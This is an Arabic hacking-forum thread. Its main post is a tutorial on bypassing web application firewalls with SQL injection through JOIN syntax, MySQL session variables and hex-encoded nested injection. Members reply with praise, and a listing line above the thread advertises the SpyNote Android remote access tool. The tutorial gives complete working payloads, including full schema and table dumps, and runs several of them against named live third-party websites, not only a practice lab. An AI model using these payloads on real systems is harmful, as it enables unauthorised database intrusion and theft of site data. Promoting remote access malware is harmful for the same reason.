1. SpyNote v5.0 Android Remote Administration Tool
    النسخة تعمل من API 10 الى API 25 اضافات واصلاحات عديده
    خصائص البيلدر مهمه جدا في ثبات الاتصال قرائة الموضوع

2- التقنيات المٌتقدِّمه النهائية في مجال كسر الحمايات المٌتعدِّية بقواعد البيانات - الجٌزء الأول

الموضوع في 'دورة حقن قواعد البيانات 2018/2017' بواسطة Ahmed El Melegy, بتاريخ ‏9 أغسطس 2017.

كاتب الموضوع : Ahmed El Melegy المشاهدات : 515 الردود : 16 ‏9 أغسطس 2017
  1. غير متصل

    Ahmed El Melegy InjectorBoy
    طاقم الإدارة

    عضو منذ:
    ‏24 يوليو 2017
    عدد المشاركات:
    الإعجابات المتلقاة:
    199
    نقاط الجائزة:
    الجنس:
    ذكر
    الإقامة:

    [​IMG]


    التقنيات المٌتقدِّمه النهائية في مجال كسر الحمايات المٌتعدِّية بقواعد البيانات - الجٌزء الأول


    الكثير والكثير من الحمايات في الوقت الراهن قد تطورة إلي التقنيات المٌتعدِّيه التي لا تستطيع التقنيات البسيطه القديمة مٌجابهتها لذا توجب على المٌختصيين تقديم تقنيات تتناسب وهذه الحمايات الجديده لذا سوف يشمل الثلاث أو أربع أجزء المشروحه التاليه هذه الشروحات القيمة والفريده من نوعها


    التقنيات المشروحة بالجزء الأول


    الباب الأول : أٌسلوب الحقن الفريد الـ Join Syntax -

    الباب الثاني : إستخدام المٌتغيرات المؤقتة لتخطى الحمايات Local Variable Method .

    الباب الثالث : أٌسلوب حقن نقطة الحقن الداخلي injection inside injection .



    إلي الشروحات

    الباب الأول : أٌسلوب الحقن الفريد الـ Join Syntax -


    أٌسلوب الحقن الفريد الـ Join Syntax هو أٌسلوب حقن غير إعتيادي هدفٌهٌ هو ذات الهدف من الحقن النمطي الإعتيادي أي إختبار إستعلامات الحقن ولكنَّهٌ يختلف من حيثٌ الإمكانيات الخاصة به فهو نمط يستطيع تخطي بعض الحمايات العتيدة وهذا الحقن خطواتٌه على النحو التالي :


    شروط الحقن

    متي يمكن تحقق هذا الحقن أو بمعني أدق متي أستخدم هذا الأٌسلوب وأعرف أنهٌ الأسلوب الأمثل للحقن

    عندما أقوم بحقن موقع وعند النقطه الخاصه بالاستغلال كالتالي



    كود:
    www.InjectorBoy.md/news.php?id=58' union select 1,2,3,4,5,6 -- -



    [​IMG]


    ظهر الخطأ التالي الدال على عدم إمكانية الحقن



    كود:
    Error: (1054) Unknown column 'alias' in 'field list'


    هنا فقط يتحقق شرط العمل لتقنية الـ Join Syntax

    التكوين الهيكلي


    أولاً : يكون الإستغلال كما هو على النمط الإعتيادي ثٌمً نقوم بإضافة مسافة بعد الكلمة select ثٌم ياليها كتابة رمز النجمه * ثٌم يلي ذلك كٌلهٌ مسافة أٌخرى بعد رمز النجمه ثٌم أخيراً كتابة الكلمة from بعدَهٌما وذلك على النحو التالي بالترقيم أدناه :


    [1]

    news.php?id=58' union select 1,2,3,4,5,6

    [2]

    news.php?id=58' union select * from 1,2,3,4,5,6


    ثانياً : نتقل إلى هيكلة الأرقام الخاصة بالأعمدة فعندما نٌريد كتابة رقم ما لعمود من الأعمدة داخل الإستغلال يكون ذلك على النحو التالي :


    1- نقوم بوضع قوسين هلاليَّين مٌغلَقين بعد كلمة from على النحو الأتي :


    news.php?id=58' union select * from () .... I Love BALACKROSE


    2- ثٌم نكتٌب داخل هذين القوسيين كلمة الـ select على النحو الأتي :


    news.php?id=58' union select * from (select)


    3- ثٌم نقوم بإضافة مسافة بعد الكلمة select داخل الأقواس ثٌم ياليها نكتٌب رقم العمود الأول لدينا على النحو الأتي :


    news.php?id=58' union select * from (select 1)


    4- ثٌم نعطي هذا العمود أي صاحِب الرقم واحد إسماً مٌستعاراً ويكون مكان ذلك الإسم المٌستعار بعد القوسين المٌغلقين مباشرةً دونَما أية فواصل, وليكون أي الإسم المٌستعار مكتوباً من الحروف الأبجدية الإنجليزية على النحو الأتي :


    news.php?id=58' union select * from (select 1)a


    5- ثم يالي الإسم المٌستعار a مسافة ثٌم نٌضيف الكلِمة join على النحو الأتي :


    news.php?id=58' union select * from (select 1)a join


    6- وهكذا دواليك مع باقى أرقام الأعمدة كافة فتكون الصورة النهائية لهذا النمط غير الإعتيادي على هذا النحو النهائي :



    كود:
     InjectorBoy.md/news.php?id=58' union select * from (select 1)a join (select+2)b join (select+version())c join (select+4)d join (select+5)e join (select+6)f -- -


    [​IMG]
    تجربه على موقع عام حي


    كود:
    http://www.gaspforair.org/gasp/gedc/artcl-new.php?ID=-76 union select * from (select 1)a join (select+2)b join (select+version())c join (select+4)d join (select+5)e -- -


    [​IMG]




    إنتهي الشرح



    الباب الثاني : إستخدام المٌتغيرات المؤقتة لتخطى الحمايات Local Variable Method .

    هناك الكثير من الحمايات -WAF'S- التى تقوم على إعتراض وإستهداف بعض الكلِمات الأساسية ومنعها من العمل وهى من الرئِسيات - أي هذه الكلمات المٌستهدفة - التى تٌستخدم داخل الإستعلامات الرئيسية الخاصة بعمليات الإستغلال الكامل عند حقن قواعد البيانات , فعلى سبيل المثال لا الحصر الكلمة الرئيسية -FROM- المستخدمة داخل الإستعلامات بكثرة كما بالإستعلام التالى :


    كود:
    (sElect(@x)from(Select(@x:=0x00),(sElect(0)from(information_schema.columns)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(0x00)in(@x:=concat(@x,0x3c62723e,table_schema,0x3a,table_name,0x3a,column_name))))x)

    والتى قامت الحماية -WAF'S- بعمل إعتراض لها, والتى لا يمكن على إصرَها تمرير هذا الإستعلام بكامل هيئتهٌ لقاعِدة البيانات نظراً لهذا الحظر -

    الأن لِنَقٌم بعمل محاكاه واقعية لعملية حقن يدوي لموقع حقيقى صٌمَّمَت حمايتهٌ لوقف أى عمليات مٌرتبِطة إستعلاماتها بالكلمة -FROM- ومحاولة تخطي هذه الحماية المٌعقدة بصورة بسيطة عن طريق إنشاء متغير محلي ! حسناً فالنٌنتابع .


    الموقع الحقيقي المٌحَاكىَ


    كود:
    http://www.nubri.org/gallery.php?id=.1 /*!50000union*/ select 1-- -


    [​IMG]




    الأن نقوم بإضافة الأستعلام المٌشار لهٌ سابقاً في بداية الحديث مٌستبدلاً به أياً من الإعمدة المٌصابة وليكن العمود رقم خمسة على هذا النحو :



    كود:
    www.nubri.org/gallery.php?id=.1 /*!50000union*/ select (sElect(@x)from(Select(@x:=0x00),(sElect(0)from(information_schema.columns)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(0x00)in(@x:=concat(@x,0x3c62723e,table_schema,0x3a,table_name,0x3a,column_name))))x)-- -

    [​IMG]




    كما يتبين من الصورة السابقة تم عمل إعتراض فى هيئة فوربيدن وذلك لكون الإستعلام مٌحتوي على الكلمة المٌعترضة -FROM- والذى أستطيع إثباتٌ أنها الهدف من هذا الإعتراض على النحو التالي -



    كود:
    www.nubri.org/gallery.php?id=.1 /*!50000union*/ select 1 from x -- -


    [​IMG]


    حسناً الأن سوف نقوم بتخطي هذا المنع أو الإعتراض عن طريق إنشاء مٌتغير محلي لكي نتفادى أي إعتراض على أياً من كلمات الإستعلام الرئيسية من ضمنها الكلمة Form, ولكن أولاً فلنأخٌذ تصور عام عن فكرة المتغير المحلية بـ html وكيف نستطيع الإستفاده منه -


    [​IMG]


    كما بالصورة أعلاه عند العدد المٌرقم بالصورة -1- هذا مايٌسمى بالمٌتغير وقد سميت هذا المتغير بألـ TITLE ويحتوي هذا المتغير على البيانات التى نٌريد طِباعتها داخل الصفحة بالأماكن التالية وعلى حسب الترقيم الأتي :

    أولا: بالبار الرئيسى للصفحه وهذا الرقم -2-

    ثانياً :بداخل الصفحة الرئيسية وهذا الرقم -3-

    فبالإستعاضة هنا عن البيانات المراد طباعتها - أى بدلاً من الكتابة كل مرة أٌريد فيها إستخدام هذه البيانات بصورة يدوية - قٌمنا فقط بوضع الإسم المٌستعاض بهِ للمتغير والمٌحتوي البيانات المراد طباعتها بالأمكان المٌخصصةٌ لها ,وهذا من الناحية العملية أمر فى غاية الروعة كونهٌ يٌقلل من كثرة الكلمات والجٌمل داخل التصميم ويقلل أيضاً من العمليات الكتابية باليد ,وبالنَّظٌر للناتج النهائى المٌنتظر من المٌتغير المحلي سوف يكون كما بالصورة التاليه -


    [​IMG]


    تم طباعة البيانات المٌراد طباعتها بأماكِنها المٌخصصة لها عن طريق عمل إستعاضة بالإسم .


    وما سوف نقوم به تالياًً أثناء عملية الحقن اليدوي هو ذات الفكرة بعمل إستعاضة بالإسم عن البيانات التي سوف أقوم بحقنِها داخل أحد الأعمدة المٌصابة,أي إننا سوف نقوم بالألتفاف على الـ -waf- لتمرير القيم المحظورة بصورة غير مٌباشرة بعيداً عن الإدخال المباشر لهذه الإستعلامات والأكواد داخل الأعمدة المٌصابه .

    ألخطوات المٌتبعة لعملية الحقن بالمٌتغير المحلي -


    أولاً : الموقع ذو الحماية المٌستهدفة .



    كود:
    http://www.nubri.org/gallery.php?id=.1 /*!50000union*/ select 1-- -


    ثانياً : نقوم بإضافة مٌتغير محلي قبل الإستعلام union select وبعد رقم المٌتغير صاحب الرقم واحد على النحو الأتي :


    http://www.nubri.org/gallery.php?id=.1 and @:=(Statemeants) /*!50000union*/ select 1-- -



    الـ and @:=() هو المٌتغير المحلي والـ Statemeants تعني مكان وضع الإستعلامات المٌستخدمة والرمز @ هو الإسم المٌستعاض به عن المٌتغير المحلي بصورة كٌلية -


    ثالثاً : نقوم بإضافة الإسم المٌستعاض به عن المٌتغير المحلي وهو رمز الـ @ مكان رقم العمود المٌصابة على النحو الأتي :


    http://www.nubri.org/gallery.php?id=.1 and @:=(Statemeants) /*!50000union*/ select @-- -


    الأن لِنَقٌوم بتجرٌبِة هذا المٌتغير المحلي ومٌحاولة إستدعاء إصدار قاعدة البيانات مٌستخدمين الإستعلام version() بدل القيمة -Statemeants- على النحو التالي :



    كود:
    http://www.nubri.org/gallery.php?id=.1 and @:=(version()) /*!50000union*/ select @-- -

    [​IMG]



    تم الأمر بنجاح ,حسناً الأن نقوم بإضافة الإستعلام الخاص بإستخراج كافة الجداول والمٌحتوي على الكلمات المحظورة والتي هي هٌنا على سبيل المِثال الـ -FROM- على هذا النحو الأتي :

    مابين القوسين بدلاً من الـ -version()- نضيف الإستعلام التالي :


    كود:
    /*!50000SeleCT*/ /*!50000GrouP_ConCat(Table_name separator 0x3c62723e)*/From Information_Schema.Tables where table_Schema=database()

    كود:
    www.nubri.org/gallery.php?id=.1 and @:=(/*!50000SeleCT*/ /*!50000GrouP_ConCat(Table_name separator 0x3c62723e)*/From Information_Schema.Tables where table_Schema=database()) /*!50000union*/ select @-- -

    [​IMG]




    إنتهي الشرح



    الباب الثالث : أٌسلوب حقن نقطة الحقن الداخلي injection inside injection .



    أٌسلوب ' حقن نقطة الحقن ' أو بمعنى أدق الحقن داخل الحقن من الأساليب القوية بمجال حقن قواعد البيانات :

    مٌلاحظة هامة : الموقع التالى موقع إختباري مٌصمم لإختبار الإختراق, فهو ليس موقِعاً حيَّاً .


    كود:
    leettime.net/sqlninja.com

    التكوين الهيكلي للتقنية


    المرحلة الأولى :


    بعد كتابة الإستغلال كاملاً للموقع وذلك بعد معرفة العدد الكٌلي للأعمدة وهم إثنين فقط :



    كود:
    leettime.net/sqlninja.com/tasks/routed_sqli_1.php?id=1' and 0 union select 1,2-- -


    [​IMG]


    لم تظهر الأعمدة المٌصابة داخل صفحة الموقع وظهر الخطأ التالي -


    Invalid Input parameter

    وهذا الخطأ يدٌل على أن الحقن سوف يكون داخل نقطة الحقن لنحقظ الأخطأ الظاهر في كل المسائل لنعلم متى رئيناها أن هذه الاساليب هي المناسبه لها


    المرحلة الثانية : التجهير لعملية حقن نقطة الحقن


    أولا يجب علينا معرفة العمود الذي سوف نحقن به إستعلامتنا وذلك كالتالي


    إختبار العمود المٌناسب لأٌسلوب الحقن داخل نقطة الحقن الداخلي


    أولاً : نقوم بإختبار مكان الحقن إن أمكن بوضع الإستعلام التالى ' 0x27 ' بمكان الأعمدة كٌلها واحداً تلو الأخر على الترتيب, وعند ظهور خطأ مٌركب بأحدهِم يكون هو العمود المٌناسب لتفعيل الأٌسلوب داخلٌه :

    [1]

    id=1+union+select+0x27,2,3,4 -- No Thing

    [2]

    id=1+union+select+1,0x27,3,4 -- Error


    بصورة عملية على الموقع :



    كود:
    leettime.net/sqlninja.com/tasks/routed_sqli_1.php?id=1' and 0 union select 0x27,2-- -



    [​IMG]




    كود:
    leettime.net/sqlninja.com/tasks/routed_sqli_1.php?id=1' and 0 union select 1,0x27-- -



    [​IMG]



    ظهر خطأ بالعمود صاحب الرقم إثنين, مما دل على إنهٌ العمود المٌناسب لتفعيل الأٌسلوب داخِلَهٌ .


    Error While Selection process : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1


    المرحلة الثالثة :

    نٌطبق الأٌسلوب



    أولاً : نقوم بقص - cut - الإستعلام كاملاً من بداية الجٌزء الأول من بعد رقم المٌتغير عند إشارة التنصيص الفردية كومة (') إلى نهاية الجزء الأخير عند الإغلاق (-- -) على النحو التالي :


    [1]



    كود:
    leettime.net/sqlninja.com/tasks/routed_sqli_1.php?id=1' and 0 union select 1,2-- -


    [2]


    كود:
     ' and 0 union select 1,2-- -


    ثم نقوم بتشفيره كاملاً - أي الإستعلام المقصٌص - بالهيكس من هذا الموقع المٌخصص لذلك :


    [3]


    كود:
     www.waraxe.us/sql-char-encoder.html

    الناتج :


    كود:
    0x2720616e64203020756e696f6e2073656c65637420312c322d2d202d


    ثانياً :نقوم بوضعه كاملاً - أي الإستعلام المقصٌص مٌشفراًبالهيكس - بالعمود المٌناسب رقم إثنين :



    كود:
     leettime.net/sqlninja.com/tasks/routed_sqli_1.php?id=1' and 0 union select 1,0x2720616e64203020756e696f6e2073656c65637420312c322d2d202d-- -


    [​IMG]


    كما نٌلاحظ بالصورة أعلاه ظهر رقم العمود المٌصاب داخل الصفحة وهو الرقم واحد

    ' Username is : 1 '

    والدال بنفس الوقت على أن العمود المٌصاب للحقن هو العمود صاحب الرقم واحد .

    حسناً : الآن لنكشف عن إصدار قاعدة البيانات بنفس الكيفية السابقة, لكن بوضع الإستعلام version() قبل عملية التشفير الكٌلية بمكان العمود صاحب الرقم واحد المٌصاب بالحقن -


    [6]


    كود:
    ' and 0 union select version(),2-- -

    [7]



    كود:
     0x2720616e64203020756e696f6e2073656c6563742076657273696f6e28292c322d2d202d


    ثم نضع الإستعلام المٌشفر كاملاً مكان العمود صاحب الرقم إثنين المٌناسب لتفعيل الأٌسلوب داخِلَهٌ ' كما تم الكشف عنهٌ سابقاً بالـ 0x27 ' .


    تنبيه هام : فلنٌفرق بين ذلك الأمر ! حتى لا يدخٌلنا أي إلتباس, فالعمود رقم إثنين هو العمود المٌناسب لتفعيل الأٌسلوب داخِلَهٌ - أي عمود الإختبار لهذه المسئلة - والعمود رقم واحد هو العمود المٌصاب الذى نضع به الإستعلامات الخاصة بالحقن وذلك قبل تشفيرها وهو الذي ظهر بالصفحة سابقاً - كـ عادة كٌل الأعمدة المٌصابة بأي موقع -



    كود:
     leettime.net/sqlninja.com/tasks/routed_sqli_1.php?id=1' and 0 union select 1,0x2720616e64203020756e696f6e2073656c6563742076657273696f6e28292c322d2d202d-- -


    [​IMG]


    [9]

    إصدار قاعدة البيانات : Username is : 5.5.52-cll




    إنتهي الشرح



    إلي هٌنا إنتهى الجزء الأول من الشرح إنتظرونا بالجزء الثاني وأساليب أكثر تشويقاً



     


    جاري تحميل الصفحة...
  2. غير متصل

    E w i l O s
    ExpErt DeveloPer

    عضو منذ:
    ‏25 فبراير 2017
    عدد المشاركات:
    الإعجابات المتلقاة:
    161
    نقاط الجائزة:
    الجنس:
    ذكر
    الإقامة:

    موضوع قيم ..أعجبني كثيرا , سلمت يمينك ..جزاك الله كل خير
     


    أعجب بهذه المشاركة Ahmed El Melegy
  3. غير متصل

    Mohmaed .:: super ::.
    V • I • P

    عضو منذ:
    ‏12 ابريل 2015
    عدد المشاركات:
    الإعجابات المتلقاة:
    942
    نقاط الجائزة:
    الجنس:
    ذكر
    الإقامة:

    24

    ما شاء الله عليك شرح واضح ومفهوم
    لا تحرمنا من مجهودك وابداعك
     


    أعجب بهذه المشاركة Ahmed El Melegy
  4. غير متصل

    محمد شوبكي
    ExpErt DeveloPer

    عضو منذ:
    ‏19 يوليو 2017
    عدد المشاركات:
    الإعجابات المتلقاة:
    111
    نقاط الجائزة:
    الجنس:
    ذكر
    الإقامة:

    1

    بارك الله فيك
    لكن هذه المواضيع منقولة أم انت تكتبها ؟
     


    أعجب بهذه المشاركة Ahmed El Melegy
  5. غير متصل

    Ahmed El Melegy InjectorBoy
    طاقم الإدارة

    عضو منذ:
    ‏24 يوليو 2017
    عدد المشاركات:
    الإعجابات المتلقاة:
    199
    نقاط الجائزة:
    الجنس:
    ذكر
    الإقامة:

    أهلا عزيزي

    نعم أنا أكتبها هذا تخصٌصي منذ أكثر من 8 سنين مجال الحقن sqli فأنا أبرع فيه جدا أكثر من أي شخص أعرفه في هذا المجال وذلك بفضل الله أولاً وأخيراً

    لكن لماذا انت مٌستغرب علي ذلك ؟
     


  6. غير متصل

    Ahmed El Melegy InjectorBoy
    طاقم الإدارة

    عضو منذ:
    ‏24 يوليو 2017
    عدد المشاركات:
    الإعجابات المتلقاة:
    199
    نقاط الجائزة:
    الجنس:
    ذكر
    الإقامة:


    نعم أنا أكتبها هذا تخصٌصي منذ أكثر من 8 سنين مجال الحقن sqli فأنا أبرع فيه جدا أكثر من أي شخص أعرفه في هذا المجال وذلك بفضل الله أولاً وأخيراً

    لكن لماذا انت مٌستغرب علي ذلك ؟
     


    أعجب بهذه المشاركة محمد شوبكي
  7. غير متصل

    Ahmed El Melegy InjectorBoy
    طاقم الإدارة

    عضو منذ:
    ‏24 يوليو 2017
    عدد المشاركات:
    الإعجابات المتلقاة:
    199
    نقاط الجائزة:
    الجنس:
    ذكر
    الإقامة:

    تسلم عزيزي
     


  8. غير متصل

    Ahmed El Melegy InjectorBoy
    طاقم الإدارة

    عضو منذ:
    ‏24 يوليو 2017
    عدد المشاركات:
    الإعجابات المتلقاة:
    199
    نقاط الجائزة:
    الجنس:
    ذكر
    الإقامة:

    أشكرك عزيزي
     


    أعجب بهذه المشاركة E w i l O s
  9. غير متصل

    محمد شوبكي
    ExpErt DeveloPer

    عضو منذ:
    ‏19 يوليو 2017
    عدد المشاركات:
    الإعجابات المتلقاة:
    111
    نقاط الجائزة:
    الجنس:
    ذكر
    الإقامة:

    1

    لانه مواضيعك طويلة كتير
    وما احد يكتب هكذا مواضيع كبيرة
    فذلك انا مستغرب
     


    أعجب بهذه المشاركة Ahmed El Melegy
  10. غير متصل

    Ahmed El Melegy InjectorBoy
    طاقم الإدارة

    عضو منذ:
    ‏24 يوليو 2017
    عدد المشاركات:
    الإعجابات المتلقاة:
    199
    نقاط الجائزة:
    الجنس:
    ذكر
    الإقامة:

    تقصد الافضل اكتب مواضبع صغيره غير مفصله زي ما بعمل ؟
     


    أعجب بهذه المشاركة محمد شوبكي

مشاركة هذه الصفحة

جاري تحميل الصفحة...